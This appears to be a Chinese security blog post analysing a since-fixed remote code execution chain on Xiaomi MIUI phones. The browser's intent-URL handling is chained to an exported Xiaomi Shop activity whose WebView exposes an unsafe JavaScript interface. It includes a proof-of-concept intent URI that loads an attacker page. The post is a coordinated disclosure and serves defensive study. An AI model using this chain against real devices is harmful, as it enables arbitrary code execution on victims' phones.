小米手機MIUI遠程代碼執(zhí)行漏洞分析
7月我在研究webview漏洞時專門挑小米手機的MIUI測試了下,發(fā)現(xiàn)了非常明顯的安全漏洞。通過該漏洞可以遠程獲取本地APP的權(quán)限,突破本地漏洞和遠程漏洞的界限,使本地app的漏洞遠程也能被利用,達到隔山打牛的效果。在漏洞發(fā)現(xiàn)的第一時間,我已經(jīng)將漏洞細節(jié)報告給了小米安全響應中心,目前漏洞已經(jīng)修復。
測試環(huán)境:
手機型號:MI 3
Android版本:4.2.1 JOP40D
MIUI版本:MIUI-JXCCNBE21
內(nèi)核版本:3.4.35-ga656ab9
一. 小米MIUI原生瀏覽器存在意圖協(xié)議安全問題
在使用小米原生瀏覽器的時候我發(fā)現(xiàn)MIUI定制了網(wǎng)絡異常頁面, 如當前url不能訪問或網(wǎng)絡異常會跳轉(zhuǎn)到定制的網(wǎng)頁,通過點擊網(wǎng)頁中的鏈接可以直接進入WIFI的設置界面。
根據(jù)我以往的經(jīng)驗,APP要在靜態(tài)網(wǎng)頁中實現(xiàn)進程間通信主流的方法有兩種,一種是通過addJavascriptInterface給webview加入一個javascript橋接接口,通過調(diào)用這個接口可以直接操作本地的JAVA接口。另外一種方法是使用Intent.parseUri解析URL,讓APP支持intent scheme URLs(意圖協(xié)議URL),通過解析特定格式的URL直接向系統(tǒng)發(fā)送意圖。
測試過后,果然發(fā)現(xiàn)小米瀏覽器完全支持意圖協(xié)議URL,測試過程如下,讓小米瀏覽器直接訪問下面的地址,瀏覽器會向系統(tǒng)發(fā)起意圖,啟動本地的日歷APP
intent:#Intent;component=com.android.calendar/com.android.calendar.LaunchActivity;end
我再翻閱了一下google官方framework中intent的源代碼:
/platform/frameworks/base/+/core/java/android/content/Intent.java
3966行的Intent.parseUri定義
- if (uri.startsWith("S.", i)) b.putString(key, value);
- else if (uri.startsWith("B.", i)) b.putBoolean(key, Boolean.parseBoolean(value));
- else if (uri.startsWith("b.", i)) b.putByte(key, Byte.parseByte(value));
- else if (uri.startsWith("c.", i)) b.putChar(key, value.charAt(0));
- else if (uri.startsWith("d.", i)) b.putDouble(key, Double.parseDouble(value));
- else if (uri.startsWith("f.", i)) b.putFloat(key, Float.parseFloat(value));
- else if (uri.startsWith("i.", i)) b.putInt(key, Integer.parseInt(value));
- else if (uri.startsWith("l.", i)) b.putLong(key, Long.parseLong(value));
- else if (uri.startsWith("s.", i)) b.putShort(key, Short.parseShort(value));
- else throw new URISyntaxException(uri, "unknown EXTRA type", i);
可以明顯的看到Intent.parseUri解析URL時完全可以自定義EXTRA DATA和DATA以及acion等,通過符合格式的協(xié)議地址向本地任意APP發(fā)送任意意圖,所以如果本地某個APP的導出組件存在漏洞,我們也可以從這個入口進行遠程攻擊。
二.小米商店存在webview遠程代碼執(zhí)行漏洞
順著第一部分的思路,我開始審計MIUI系統(tǒng)中預裝和內(nèi)置的APP,希望能發(fā)現(xiàn)被遠程利用的漏洞。在自動漏洞掃描中,我發(fā)現(xiàn)小米官方的APP“小米商店”的webview使用了addjavascriptinterface,且編譯API級別小于17,可能存在webview遠程代碼執(zhí)行漏洞。
于是我針對這個APP進行了逆向分析,發(fā)現(xiàn)了該APP的多個導出組件,如com.xiaomi.shop.activity.MainActivity組件接受參數(shù)能夠被外部調(diào)用加載任意的網(wǎng)頁。
同時我發(fā)現(xiàn)了該組件關聯(lián)的com.xiaomi.shop.ui類初始化了一個叫WE的addJavascriptInterface漏洞接口,并且沒有做任何安全處理。
根據(jù)逆向代碼,com.xiaomi.shop.activity.MainActivity這個活動組件接受的EXTRA DATA是string類型,結(jié)合第一部分小米瀏覽器的意圖協(xié)議漏洞,可以輕松寫出漏洞驗證代碼,通過導入的網(wǎng)頁調(diào)用存在漏洞的JavascriptInterface接口WE,能夠以當前APP的權(quán)限執(zhí)行任意的命令和JAVA代碼
intent:#Intent;component=com.xiaomi.shop/com.xiaomi.shop.activity.MainActivity; S.com.xiaomi.shop.extra_closed_url=http://server/acttack.html; end
三. 安全建議.
安卓開發(fā)者在注意用戶體驗的開發(fā)同時也應該關注安全,因為某個APP的易用功能而導致整個系統(tǒng)的安全性大打折扣就得不償失了。
本次分析的漏洞,如果是惡意攻擊者,通過載入遠程的惡意網(wǎng)頁利用ROOT漏洞攻擊,完全可以直接掌控受害者的手機,后果不可想象。據(jù)了解小米官方已經(jīng)修復了小米商店APP存在的漏洞,建議小米手機和MIUI的用戶都盡快升級。
參考:
[1]https://github.com/android/platform_frameworks_base/blob/master/core/java/android/content/Intent.java
[2] http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-4710
原文地址:http://blogs.#/360mobile/2014/08/25/miui-rce-vul/